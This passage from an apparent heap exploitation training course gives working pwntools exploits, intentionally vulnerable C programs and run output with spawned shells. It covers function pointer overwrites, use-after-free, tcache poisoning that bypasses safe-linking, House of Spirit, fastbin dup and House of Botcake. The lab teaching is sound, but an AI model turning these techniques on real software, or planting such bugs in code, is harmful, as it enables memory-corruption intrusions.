objdump -d vuln_heap | grep admin_function
# Output: 00000000004011a0 <admin_function>:
# Or in GDB:
gdb ./vuln_heap
(gdb) info functions admin
Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/exploit_heap.py
from pwn import *
binary = './vuln_heap'
elf = ELF(binary)
context.binary = elf # Sets AMD64!
# Find admin_function address
admin_addr = elf.symbols['admin_function']
log.info(f"admin_function @ {hex(admin_addr)}")
# Build payload (AMD64 - use p64!)
# read() allows null bytes unlike strcpy()!
payload = b"A" * 32 # Fill user1->name
payload += p64(admin_addr) # Overwrite user1->print_func (8 bytes!)
# Exploit via stdin (read() handles null bytes)
p = process(binary, stdin=PTY, stdout=PTY)
p.recvuntil(b'Enter name: ')
p.send(payload)
p.interactive()
Test:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap.py
# Admin access granted to AAAAA...
$ id
uid=1000(user) gid=1000(user)
[!NOTE] Why does
system()work here but not in ROP chains?Intel CET (SHSTK/IBT) blocks indirect jumps/calls via corrupted return addresses (ROP). But function pointer overwrites are direct calls - the program legitimately calls through a pointer, which CET allows. This is why heap exploits targeting function pointers still work on modern libc, while stack-based ROP to
system()fails.When CET blocks you:
- ROP chains returning to
system()via stack corruption- ret2libc attacks using gadgets
When CET does NOT block you:
- Function pointer overwrites (heap, GOT if writable)
- Direct control flow hijack to existing functions
- One_gadget (uses internal code paths that satisfy CET)
Heap Metadata Corruption
Unlink Exploit (Classic technique):
Concept:
- Corrupt free chunk metadata (fd/bk pointers)
- When chunk is unlinked from bin, write arbitrary address
- Achieve write-what-where primitive
Vulnerable Code (unlink_vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *a, *b, *c;
// Allocate three chunks
a = malloc(100);
b = malloc(100);
c = malloc(100);
printf("a = %p\n", a);
printf("b = %p\n", b);
printf("c = %p\n", c);
// Read input into 'a' (vulnerable)
printf("Enter data: ");
gets(a); // No bounds check!
// Free chunks (triggers unlink)
free(b);
free(a);
// Allocate again (use corrupted metadata)
char *d = malloc(100);
strcpy(d, "Controlled data");
return 0;
}
Exploit Technique:
- Overflow chunk 'a' into chunk 'b'
- Fake chunk 'b' metadata:
- Set prev_size to overflow into 'a'
- Set size with prev_inuse=0 (fake free)
- Set fd/bk to target addresses
- Free chunk 'b'
- Unlink writes: _(fd) = bk and _(bk) = fd
- Arbitrary write achieved!
Modern Protections:
- Safe unlinking (glibc 2.3.4+)
- Checks:
fd->bk == chunk && bk->fd == chunk - Makes classic unlink harder
Legacy Tcache Poisoning (glibc 2.27-2.31, no safe-linking):
This is the foundational technique to learn before tackling modern bypasses:
/* tcache_poison_legacy.c - Works on glibc < 2.32 (Ubuntu 20.04) */
// make disabled SOURCE=tcache_poison_legacy.c BINARY=tcache_poison_legacy
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
setbuf(stdout, NULL);
uint64_t target = 0;
printf("Target at %p, value: %lu\n", &target, target);
void *a = malloc(0x20);
void *b = malloc(0x20); // Prevent consolidation
printf("Chunk A: %p\n", a);
printf("Chunk B: %p\n", b);
free(a);
// tcache[0x30] -> A -> NULL
// VULNERABILITY: Use-after-free or buffer overflow to corrupt A's fd pointer
// In a real program, this would be via:
// - UAF: writing to freed chunk A
// - Overflow: overflowing from another chunk into A
printf("Enter corruption data (hex address of target - 0x10): ");
char input[32];
fgets(input, sizeof(input), stdin);
// Corrupt the fd pointer of freed chunk A
uint64_t corrupt_addr;
sscanf(input, "%lx", &corrupt_addr);
*(uint64_t*)a = corrupt_addr; // This is the vulnerability!
malloc(0x20); // Returns A
void *c = malloc(0x20); // Returns target!
*(uint64_t*)c = 0xdeadbeef;
printf("Target after: 0x%lx\n", target);
return 0;
}
For testing on Ubuntu 24.04 (glibc 2.39 with safe-linking):
/* tcache_poison_modern.c - Demonstrates safe-linking protection */
// make disabled SOURCE=tcache_poison_modern.c BINARY=tcache_poison_modern
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Demonstrating correct tcache poisoning on glibc 2.39 with safe-linking\n\n");
// Create aligned target on stack
size_t stack_var[0x10];
size_t *target = NULL;
// Find properly aligned target
for(int i = 0; i < 0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
*target = 0; // Initialize
printf("Target address: %p, value: %lu\n", target, *target);
printf("Allocating buffers...\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing buffers to build tcache chain...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
// This is the correct safe-linking formula for glibc 2.39
printf("Corrupting b's fd pointer with safe-linking...\n");
printf("Safe-linking key: 0x%lx (b >> 12)\n", (long)b >> 12);
printf("Target: %p\n", target);
printf("Corrupted value: 0x%lx\n", (long)target ^ ((long)b >> 12));
// VULNERABILITY: Use-after-free to corrupt fd pointer
b[0] = (intptr_t)((long)target ^ ((long)b >> 12));
printf("Now the tcache list has [ %p -> %p ].\n", b, target);
printf("Draining tcache:\n");
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
if ((long)target == (long)c) {
printf("SUCCESS! We got control of %p\n", c);
*c = 0xdeadbeef;
printf("Target value after corruption: 0x%lx\n", *target);
printf("tcache poisoning successful!\n");
} else {
printf("Failed. Expected %p, got %p\n", target, c);
}
return 0;
}
Why This Works (glibc 2.39 safe-linking bypass):
Before corruption: After corruption:
tcache[0x80] → B → A → NULL tcache[0x80] → B → TARGET
Key derivation: Safe-linking formula:
key = chunk_addr >> 12 corrupted_fd = target ^ (chunk >> 12)
malloc(128): malloc(128):
Returns B, tcache → A Returns B, tcache → TARGET
malloc(128): malloc(128):
Returns A Returns TARGET! (arbitrary alloc)
Critical Requirements for glibc 2.39+:
- Safe-linking key:
key = chunk_address >> 12(simple right shift) - Target alignment: Must be 0x10-aligned to avoid "unaligned tcache chunk detected"
- Corruption position: Target the SECOND tcache entry (B), not the first (A)
- Proper chaining: Free A then B, corrupt B's fd, drain A, get target
Real-World Impact:
- Bypasses modern glibc protections: Works on Ubuntu 24.04 (glibc 2.39)
- Arbitrary write: Achieves write-what-where primitive
- ASLR bypass: No need for leaks if you have a known target
- Reliable: High success rate when conditions are met
glibc 2.35+ / Ubuntu 24.04
Key Changes in Modern glibc:
| Version | Change | Impact | Ubuntu Version |
|---|---|---|---|
| 2.32+ | Tcache pointer XOR (safe-linking) | XOR key from chunk addr (chunk_addr >> 12) | 22.04+ |
| 2.34+ | __malloc_hook removed | Hook overwrite attacks dead | 22.04+ |
| 2.35+ | Enhanced tcache key checks | Double-free detection improved | 23.04+ |
| 2.37+ | global_max_fast type change | Fastbin size attacks limited | 23.10+ |
| 2.38+ | _IO_list_all checks tightened | FSOP attacks significantly harder | 24.04+ |
| 2.39+ | Additional largebin checks | Largebin attack constraints | 24.04 |
Safe-Linking Explained (glibc 2.32+):
Safe-linking protects singly-linked list pointers (tcache and fastbin) using XOR mangling:
// ACTUAL glibc 2.39 formula (simplified):
// stored_fd = (chunk_address >> 12) XOR target_pointer
// To decode: target = stored_fd XOR (chunk_address >> 12)
// In our working example:
key = chunk_b_address >> 12 // Simple right shift by 12
corrupted_fd = target_address ^ key // XOR with target
Bypassing Safe-Linking (working method for glibc 2.39):
# Step 1: Get chunk address (from freed chunk you control)
chunk_addr = 0x1976c330 # Address of chunk B in our example
# Step 2: Calculate XOR key (simple right shift!)
xor_key = chunk_addr >> 12 # 0x1976c330 >> 12 = 0x1976c
# Step 3: Forge tcache entry pointing to target
target_addr = 0x7ffda6be06e0 # Our aligned stack target
fake_fd = target_addr ^ xor_key # 0x7ffda6be06e0 ^ 0x1976c
# Step 4: Write fake_fd to freed chunk's fd field
chunk_b[0] = fake_fd # Use-after-free corruption
# Step 5: malloc() twice - second returns target!
malloc(128) # Returns chunk B
malloc(128) # Returns our target address!
Key Insights from Working Implementation:
- No heap leak needed: The key is derived from the chunk you're corrupting
- Simple formula: Just
chunk_addr >> 12, not complex heap base calculations - Alignment critical: Target must be 0x10-aligned or glibc aborts
- Position matters: Corrupt the SECOND tcache entry, not the first
[!NOTE]
Exception:tcache_perthread_structcounts are NOT protected by safe-linking!
This enables advanced techniques like House of Water for leakless attacks.
Modern Techniques Still Working:
- Tcache Stash Unlink (TSU): Smallbin → tcache manipulation
- House of Lore variants: Smallbin bk pointer corruption
- Largebin attacks: Still viable for arbitrary write
- Tcache struct hijack: Control allocation via
tcache_perthread_struct
Practicing Classic Heap Techniques (Docker Setup):
For learning classic heap exploitation without modern hardening:
# Docker container with older glibc for learning
docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
ubuntu:20.04 /bin/bash
# Inside container:
apt update && apt install -y build-essential gdb python3-pip
pip3 install pwntools
# Check glibc version
ldd --version
# 2.31 - no safe-linking, hooks still exist!
Patchelf for Specific glibc Versions:
# Download specific glibc version
# https://libc.rip/ or https://github.com/matrix1001/glibc-all-in-one
# Patch binary to use older libc
patchelf --set-interpreter ./ld-2.31.so --set-rpath . ./vulnerable
# Now binary uses your specified glibc
Practical Exercise
Exercise: Exploit heap overflow vulnerabilities
Setup:
# Clone how2heap for examples
cd ~/tuts
git clone --depth 1 https://github.com/shellphish/how2heap
cd how2heap
# Compile examples
make v$(ldd --version | head -1 | awk '{print $NF}')
Exercise: Function Pointer Overwrite
- Compile vuln_heap.c
- Find admin_function address
- Build exploit to overwrite print_func
- Get shell
Exercise: Heap Spray
- Allocate many chunks
- Fill with shellcode
- Trigger vulnerability to jump into spray
- Execute shellcode
Exercise: Tcache Poisoning (Modern)
- Study how2heap/tcache_poisoning.c
- Understand tcache bin structure
- Corrupt fd pointer
- Allocate at arbitrary address
Success Criteria:
- Function pointer overwrite works
- Heap spray successful
- Understand modern heap protections
- Can explain tcache attack surface
Key Takeaways
- Heap is more complex than stack: Multiple allocator structures
- Metadata corruption is powerful: Enables write-what-where
- Modern heaps have protections: Safe unlinking, tcache checks, safe-linking (2.32+)
- Function pointers are targets: Easy to exploit if reachable - bypasses CET!
- Heap spray can bypass ASLR: Fill memory with shellcode
- CET doesn't block function pointer overwrites: Unlike ROP, direct calls work
- Modern libc removed
__malloc_hook: Can't use hook overwrites anymore (2.34+)
Discussion Questions
- Why is heap exploitation more complex than stack overflow?
- How do safe unlinking checks prevent classic unlink attacks?
- What makes tcache a good target for exploitation?
- How would you detect heap corruption at runtime?
Day 4: Heap Exploitation Part 2 – Modern Techniques
- Goal: Master modern heap exploitation: tcache poisoning with safe-linking bypass, House of Botcake, House of Water, House of Tangerine.
- Activities:
- Reading:
- Foundation:
- Tcache House of Spirit - simplest, no next chunk validation
- Tcache Metadata Poisoning - easy if metadata accessible
- Core Techniques:
- Tcache Poisoning - with safe-linking bypass
- Fastbin Dup - classic double-free
- House of Botcake - double-free bypass (most practical)
- Overlapping Chunks - chunk overlap via size corruption
- Advanced:
- Large Bin Attack - arbitrary write (heap ptr)
- Fastbin Reverse Into Tcache - write heap ptr to stack
- Unsafe Unlink - classic unlink with modern constraints
- Expert:
- House of Water - UAF to tcache metadata control
- House of Tangerine - no free() needed!
- House of Einherjar - backward consolidation
- Safe-Linking Double Protect Bypass - blind safe-linking bypass
- Foundation:
- Online Resources:
- how2heap Repository (glibc_2.41) - Practice modern techniques
- Malloc Internals
- Tool Setup:
- Compile with
-no-pie -Wl,-z,norelrofor easier practice - Use pwndbg
heapandbinscommands constantly
- Compile with
- Exercise (follow order for progressive learning):
- Start with Use-After-Free patterns
- Exploit tcache House of Spirit (easiest tcache attack)
- Exploit tcache poisoning with safe-linking bypass
- Exploit House of Botcake for double-free scenarios
- Attempt House of Water for advanced UAF exploitation
- Reading:
Deliverables
- Environment: glibc version recorded (
ldd --version) and which how2heap example(s) you used - Reproduction: at least one modern technique reproduced end-to-end (e.g., tcache poisoning with safe-linking)
- Primitive proof: demonstrated controlled allocation to a chosen address (and explained the safe-linking XOR key)
- Notes: minimal writeup showing the exact leak used (heap/libc) and how it enables the technique
Use-After-Free Exploitation (Foundation)
UAF is a type of vulnerability; tcache/fastbin poisoning is the technique to exploit it.
Classic UAF Pattern:
// 1. Allocate object with function pointer
Object *obj = malloc(sizeof(Object));
obj->callback = normal_func;
// 2. Free the object (but keep the pointer)
free(obj);
// obj is now a DANGLING POINTER
// 3. Allocate new object of same size (gets same memory)
Evil *evil = malloc(sizeof(Evil));
evil->fake_callback = shell_func;
// 4. Use the dangling pointer (calls attacker's function!)
obj->callback(); // BOOM - calls shell_func
UAF Heap Feng Shui:
The key to reliable UAF exploitation is controlling what gets allocated in the freed memory.
Heap Feng Shui Strategy:
═══════════════════════════════════════════════════════════════════
Step 1: Understand allocation sizes
Target object: 0x40 bytes (User struct)
Attacker input: Can we create a 0x40 byte allocation?
Step 2: Prime the heap
- Free target object
- Ensure tcache/fastbin has space
Step 3: Spray controlled data
- Allocate objects of same size class
- Fill with attacker-controlled content
Step 4: Trigger UAF
- Use dangling pointer
- Access now-controlled memory
Interactive UAF Target (vuln_uaf.c):
// ~/exploit/vuln_uaf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *spray_buf = NULL;
void normal_func(void) {
printf("Normal callback executed\n");
}
void admin_func(void) {
printf("Admin function triggered! Spawning shell...\n");
system("/bin/sh");
}
void menu(void) {
printf("\n1. create\n2. delete\n3. use\n4. spray\n5. exit\n> ");
fflush(stdout);
}
int main(void) {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
menu();
if (read(0, cmd, sizeof(cmd)) <= 0) break;
if (strncmp(cmd, "create", 6) == 0 || cmd[0] == '1') {
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("name: ");
fflush(stdout);
read(0, obj->name, 31);
printf("Object created at %p\n", obj);
}
else if (strncmp(cmd, "delete", 6) == 0 || cmd[0] == '2') {
if (obj) {
free(obj);
// BUG: obj not set to NULL - dangling pointer!
printf("Object freed (but pointer kept!)\n");
}
}
else if (strncmp(cmd, "use", 3) == 0 || cmd[0] == '3') {
if (obj) {
printf("Calling callback...\n");
obj->callback(); // UAF: uses freed memory!
}
}
else if (strncmp(cmd, "spray", 5) == 0 || cmd[0] == '4') {
// Allocate same size as Object to reclaim freed chunk
spray_buf = malloc(sizeof(Object));
printf("data: ");
fflush(stdout);
read(0, spray_buf, sizeof(Object));
printf("Spray allocated at %p\n", spray_buf);
}
else if (strncmp(cmd, "exit", 4) == 0 || cmd[0] == '5') {
break;
}
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=vuln_uaf.c BINARY=vuln_uaf
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_uaf.c -o vuln_uaf
Complete UAF Exploit Example:
#!/usr/bin/env python3
# ~/exploit/exploit_uaf.py
"""
UAF Exploit demonstrating heap feng shui
Target: vuln_uaf with create/delete/use/spray commands
"""
from pwn import *
context.arch = 'amd64'
binary = './vuln_uaf'
elf = ELF(binary)
def create(p, name):
p.sendlineafter(b'> ', b'1')
p.sendafter(b'name: ', name)
def delete(p):
p.sendlineafter(b'> ', b'2')
def use(p):
p.sendlineafter(b'> ', b'3')
def spray(p, data):
"""Allocate same-size chunk with controlled data"""
p.sendlineafter(b'> ', b'4')
p.sendafter(b'data: ', data)
def exploit():
p = process(binary)
# Find target function
win = elf.symbols['admin_func']
log.info(f"admin_func @ {hex(win)}")
# Step 1: Create legitimate object
create(p, b'AAAA')
# Step 2: Free it (creates dangling pointer)
delete(p)
# Step 3: Spray to reclaim freed memory
# Object struct: char name[32] + void (*callback)(void)
payload = b'X' * 32 # Fill name field
payload += p64(win) # Overwrite callback pointer
spray(p, payload)
# Step 4: Use dangling pointer (calls our controlled callback)
use(p)
p.interactive()
if __name__ == '__main__':
exploit()
Test:
cd ~/exploit
python3 exploit_uaf.py
Test Results:
[+] Starting local process './vuln_uaf': pid 2308
[*] admin_func @ 0x4011bc
[*] Switching to interactive mode
Calling callback...
Admin function triggered! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$ exit
Exploit Success:
admin_funcfound at static address0x4011bc(No PIE)- UAF exploit successfully overwrote callback pointer
- Shell spawned with user privileges
- Interactive shell obtained, confirming full control
Why This Works:
- UAF Pattern:
objpointer isn't NULLed afterfree(), creating a dangling pointer - Heap Reuse:
spray()allocates same-sized chunk (sizeof(Object)) that reclaims freed memory - Controlled Overwrite: Spray payload overwrites
callbackpointer withadmin_funcaddress - Trigger:
use()callsobj->callback()which now points to attacker-controlled function - No ASLR Bypass Needed: Binary has
No PIE, soadmin_funcaddress is static
Key Insight: UAF exploitation is about controlling what gets allocated in freed memory and then using the dangling pointer to access attacker-controlled data.
Tcache House of Spirit (glibc 2.41)
Key insight from malloc.c: tcache_put() is called without checking if next chunk's size and prev_inuse are sane (search for "invalid next size" and "double free or corruption" - those checks are bypassed).
// ~/exploit/tcache_house_of_spirit.c
// Fake chunk free without next chunk validation
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
setbuf(stdout, NULL);
malloc(1); // Initialize heap
// Fake chunk region on stack (must be 16-byte aligned!)
unsigned long long fake_chunks[10] __attribute__((aligned(0x10)));
/* Requirements for fake chunk:
* 1. Size must be tcache range: chunk.size <= 0x410 (malloc arg <= 0x408)
* 2. PREV_INUSE (bit 0): ignored by tcache free
* 3. IS_MMAPPED (bit 1): must be 0 (causes problems)
* 4. NON_MAIN_ARENA (bit 2): must be 0 (causes problems)
* 5. Region must be 16-byte aligned
*/
fake_chunks[1] = 0x40; // Size field (0x30-0x38 requests round to 0x40)
printf("Fake chunk size at: %p\n", &fake_chunks[1]);
printf("Fake chunk data at: %p\n", &fake_chunks[2]);
// Simulate pointer overwrite vulnerability
unsigned long long *a = &fake_chunks[2]; // Points to "user data" of fake chunk
// Free the fake chunk - goes to tcache without validation!
free(a);
// Next malloc of matching size returns our fake region
void *b = malloc(0x30);
printf("malloc(0x30) returned: %p\n", b);
assert((long)b == (long)&fake_chunks[2]);
printf("SUCCESS: Got allocation in fake chunk region!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_house_of_spirit.c -o tcache_house_of_spirit
./tcache_house_of_spirit
Test Results:
Fake chunk size at: 0x7ffea7295d98
Fake chunk data at: 0x7ffea7295da0
malloc(0x30) returned: 0x7ffea7295da0
SUCCESS: Got allocation in fake chunk region!
Attack Success:
- Fake chunk created on stack at
0x7ffea7295d98(size field) - Data area at
0x7ffea7295da0(8 bytes later due to chunk header) malloc(0x30)returns our fake chunk data area- Stack memory successfully allocated via heap allocator
Why This Works:
- No Next Chunk Validation: Unlike fastbin, tcache
free()doesn't validate the next chunk's size field - Simple Fake Chunk: Only need size field (0x40) in
fake_chunks[1], no complex metadata - Pointer Arithmetic:
a = &fake_chunks[2]points to "user data" area of fake chunk - Alignment:
__attribute__((aligned(0x10)))ensures 16-byte alignment for modern glibc - Size Range: 0x40 is valid tcache size (requests 0x30-0x38 round to 0x40)
Warning Explained: The compiler warning is expected - we're intentionally freeing stack memory as a fake chunk, which is the whole point of the attack!
Why Tcache House of Spirit is Easier:
| Aspect | Original (Fastbin) | Tcache Version |
|---|---|---|
| Next chunk validation | Required | Not needed |
| Size constraints | Fastbin range only | Up to 0x410 |
| Complexity | Must craft 2 fake chunks | Only 1 fake chunk |
| glibc version | Works on older | Works on 2.41 |
Attack Pattern:
- Find/create writable region with controlled data
- Set up fake size field (0x20-0x410 range, bits 1-2 = 0)
- Ensure 16-byte alignment
- Overwrite pointer to point to fake chunk's data region
- free(corrupted_ptr) → fake chunk goes to tcache
- malloc(matching_size) → returns your controlled region!
Tcache Metadata Poisoning (Direct Metadata Control)
// ~/exploit/tcache_metadata_poisoning.c
// Direct metadata control for arbitrary allocation
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#define TCACHE_BINS 64
#define HEADER_SIZE 0x10
struct tcache_metadata {
uint16_t counts[TCACHE_BINS]; // Number of chunks per bin
void *entries[TCACHE_BINS]; // Head of each bin
};
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target MUST be 16-byte aligned for modern glibc!
uint64_t stack_target[4] __attribute__((aligned(0x10)));
stack_target[0] = 0x1337;
printf("Target on stack: %p\n\n", stack_target);
// Initialize heap and find metadata
uint64_t *victim = malloc(0x10);
printf("Victim chunk: %p\n", victim);
// Metadata is at start of heap page
struct tcache_metadata *metadata =
(struct tcache_metadata *)((long)victim - HEADER_SIZE - sizeof(struct tcache_metadata));
printf("Tcache metadata: %p\n\n", metadata);
// VULNERABILITY: Direct write to metadata
// Insert target into bin 1 (0x20 size class)
metadata->counts[1] = 1;
metadata->entries[1] = stack_target;
// Allocate from bin 1
uint64_t *evil = malloc(0x20);
printf("Got allocation at: %p\n", evil);
assert(evil == stack_target);
printf("SUCCESS: Arbitrary allocation achieved!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_metadata_poisoning.c -o tcache_metadata_poisoning
./tcache_metadata_poisoning
Test Results:
Target on stack: 0x7ffd375a38c0
Victim chunk: 0x28d522a0
Tcache metadata: 0x28d52010
Got allocation at: 0x7ffd375a38c0
SUCCESS: Arbitrary allocation achieved!
Attack Success:
- Stack target at
0x7ffd375a38c0(16-byte aligned) - Victim chunk at
0x28d522a0used to locate metadata - Tcache metadata found at
0x28d52010(start of heap page) - Direct metadata corruption inserted target into bin 1
malloc(0x20)returned stack address - arbitrary allocation achieved!
Why This Works:
- Direct Metadata Control: Overwrites
counts[1]andentries[1]directly - No Safe-Linking: Metadata corruption bypasses pointer protection
- Immediate Effect: Next
malloc(0x20)returns controlled address - Powerful Primitive: Gives arbitrary allocation capability
Tcache Poisoning with Safe-Linking Bypass (Working glibc 2.39)
// ~/exploit/tcache_poisoning_safelink.c
// Modern tcache poisoning requires heap leak for safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target must be 16-byte aligned!
size_t stack_var[0x10];
size_t *target = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("Target (aligned): %p\n", target);
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
printf("a: %p, b: %p\n", a, b);
free(a);
free(b);
// tcache: b -> a -> NULL
// VULNERABILITY: Corrupt b's next pointer
// Must XOR with (chunk_addr >> 12) for safe-linking bypass
b[0] = (intptr_t)((long)target ^ ((long)b >> 12));
malloc(128); // Returns b
intptr_t *c = malloc(128); // Returns target!
printf("Got control at: %p\n", c);
assert((long)target == (long)c);
printf("SUCCESS: Tcache poisoning with safe-linking bypass!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_poisoning_safelink.c -o tcache_poisoning_safelink
./tcache_poisoning_safelink
Test Results:
Target (aligned): 0x7ffda554a440
a: 0x2b5992a0, b: 0x2b599330
Got control at: 0x7ffda554a440
SUCCESS: Tcache poisoning with safe-linking bypass!
Attack Success:
- Found 16-byte aligned stack target at
0x7ffda554a440 - Chunks
aat0x2b5992a0andbat0x2b599330allocated - After double free: tcache contains
b -> a -> NULL - Safe-linking bypass:
target ^ (b >> 12)written tob[0] - Second
malloc(128)returned our stack target!
Why This Works:
- Safe-Linking Bypass: XOR with
(chunk_addr >> 12)defeats pointer protection - Double Free: Creates tcache list we can corrupt
- Pointer Corruption: Overwrites next pointer with encoded target
- Arbitrary Allocation: Next malloc returns controlled address
Fastbin Dup (Modern - glibc 2.41)
Modern Double Free via Fastbin:
// ~/exploit/fastbin_dup.c
// Modern version requiring tcache fill + safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
setbuf(stdout, NULL);
// Must fill tcache first (7 chunks for 0x30 size class)
void *tcache[7];
for(int i = 0; i < 7; i++) {
tcache[i] = malloc(0x20);
}
void *a = malloc(0x20);
void *b = malloc(0x20); // Separator chunk
printf("a: %p\n", a);
printf("b: %p\n", b);
// Fill tcache
for(int i = 0; i < 7; i++) {
free(tcache[i]);
}
// Now chunks go to fastbin (tcache full)
free(a);
free(b); // fastbin: b -> a -> NULL
free(a); // Double free! fastbin: a -> b -> a -> (cycle!)
// Empty tcache first
for(int i = 0; i < 7; i++) {
malloc(0x20);
}
// Now allocations come from fastbin
void *c = malloc(0x20); // Gets 'a'
void *d = malloc(0x20); // Gets 'b'
void *e = malloc(0x20); // Gets 'a' AGAIN!
printf("c: %p\n", c);
printf("d: %p\n", d);
printf("e: %p\n", e);
// c and e point to same memory!
assert(c == e);
printf("SUCCESS: c == e (double allocation of same memory!)\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_dup.c -o fastbin_dup
./fastbin_dup
Test Results:
a: 0x22c663f0
b: 0x22c66420
c: 0x22c663f0
d: 0x22c66420
e: 0x22c663f0
SUCCESS: c == e (double allocation of same memory!)
Attack Success:
- Chunks allocated:
aat0x22c663f0,bat0x22c66420 - After tcache fill and double free: fastbin contains cycle
a -> b -> a - Allocations:
cgetsa,dgetsb,egetsaagain! - Double allocation achieved:
candepoint to same memory
Why This Works:
- Tcache Fill: 7 chunks fill tcache, forcing frees to fastbin
- Double Free: Creates cycle in fastbin list
- No Safe-Linking: Fastbin doesn't use safe-linking protection
- Double Allocation: Same chunk returned twice
House of Botcake (glibc 2.29+ Double-Free Bypass)
// ~/exploit/house_of_botcake.c
// Bypass tcache double-free detection
// Trick: Free chunk to unsorted bin, consolidate, then free to tcache
// Result: Same memory in both unsorted bin and tcache!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target MUST be 16-byte aligned for modern glibc!
intptr_t stack_var[4] __attribute__((aligned(0x10)));
memset(stack_var, 0, sizeof(stack_var));
printf("Target on stack: %p\n\n", stack_var);
// Allocate 7 chunks to fill tcache later
intptr_t *x[7];
for(int i = 0; i < 7; i++) x[i] = malloc(0x100);
// Allocate victim and prev (will consolidate)
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
malloc(0x10); // Guard against top chunk consolidation
printf("prev: %p\n", prev);
printf("victim: %p\n\n", victim);
// Fill tcache
for(int i = 0; i < 7; i++) free(x[i]);
// Free to unsorted bin (tcache full)
free(victim); // unsorted bin
free(prev); // consolidates with victim!
// Empty one tcache slot
malloc(0x100);
// Free victim AGAIN - goes to tcache (double free!)
// Key: victim is ALSO part of consolidated chunk in unsorted bin
free(victim);
// Allocate from unsorted bin - get consolidated chunk overlapping victim
// Size 0x160 to cover prev chunk + overlap into victim's next ptr
intptr_t *overlapping = malloc(0x160);
printf("overlapping chunk: %p\n", overlapping);
printf("victim tcache entry at: %p\n", victim);
// Calculate offset from overlapping to victim's next pointer
// victim's user data starts at same addr, next ptr is at offset 0
size_t offset = ((char*)victim - (char*)overlapping) / sizeof(intptr_t);
printf("offset to victim: %zu words\n\n", offset);
// Poison victim's next pointer (now accessible via overlapping chunk)
// Account for safe-linking: target ^ (chunk_addr >> 12)
overlapping[offset] = ((long)victim >> 12) ^ (long)stack_var;
// Pop victim from tcache, putting stack_var at head
malloc(0x100);
// Get arbitrary allocation!
intptr_t *target = malloc(0x100);
target[0] = 0xcafebabe;
printf("target @ %p == stack_var @ %p\n", target, stack_var);
printf("stack_var[0] = 0x%lx\n", stack_var[0]);
if (target == stack_var) {
assert(stack_var[0] == 0xcafebabe);
printf("SUCCESS: House of Botcake - wrote 0x%lx to stack!\n", stack_var[0]);
} else {
printf("NOTE: Exploit didn't land on stack (heap layout dependent)\n");
printf(" This demonstrates the technique - adjust offsets for your target\n");
}
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro house_of_botcake.c -o house_of_botcake
./house_of_botcake
Test Results:
Target on stack: 0x7ffe38860b00
prev: 0xcd4aa10
victim: 0xcd4ab20
overlapping chunk: 0xcd4aa10
victim tcache entry at: 0xcd4ab20
offset to victim: 34 words
target @ 0x7ffe38860b00 == stack_var @ 0x7ffe38860b00
stack_var[0] = 0xcafebabe
SUCCESS: House of Botcake - wrote 0xcafebabe to stack!
Attack Success:
- Stack target at
0x7ffe38860b00(16-byte aligned) - Chunks:
prevat0xcd4aa10,victimat0xcd4ab20 - Overlapping chunk gives write access to victim's metadata
- Offset 34 words to victim's tcache next pointer
- Safe-linking bypass:
target ^ (victim >> 12)written - Arbitrary write achieved:
0xcafebabewritten to stack!
Why This Works:
- Consolidation Trick: Chunk consolidation creates overlapping memory
- Tcache Double Placement: Same chunk in both unsorted bin and tcache
- Metadata Corruption: Overlapping chunk corrupts tcache next pointer
- Safe-Linking Bypass: XOR with chunk address defeats protection
- Arbitrary Write: Next malloc returns controlled address
Large Bin Attack (glibc 2.30+ Variant)
// ~/exploit/large_bin_attack.c
// Arbitrary address overwrite with heap pointer
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
size_t target = 0;
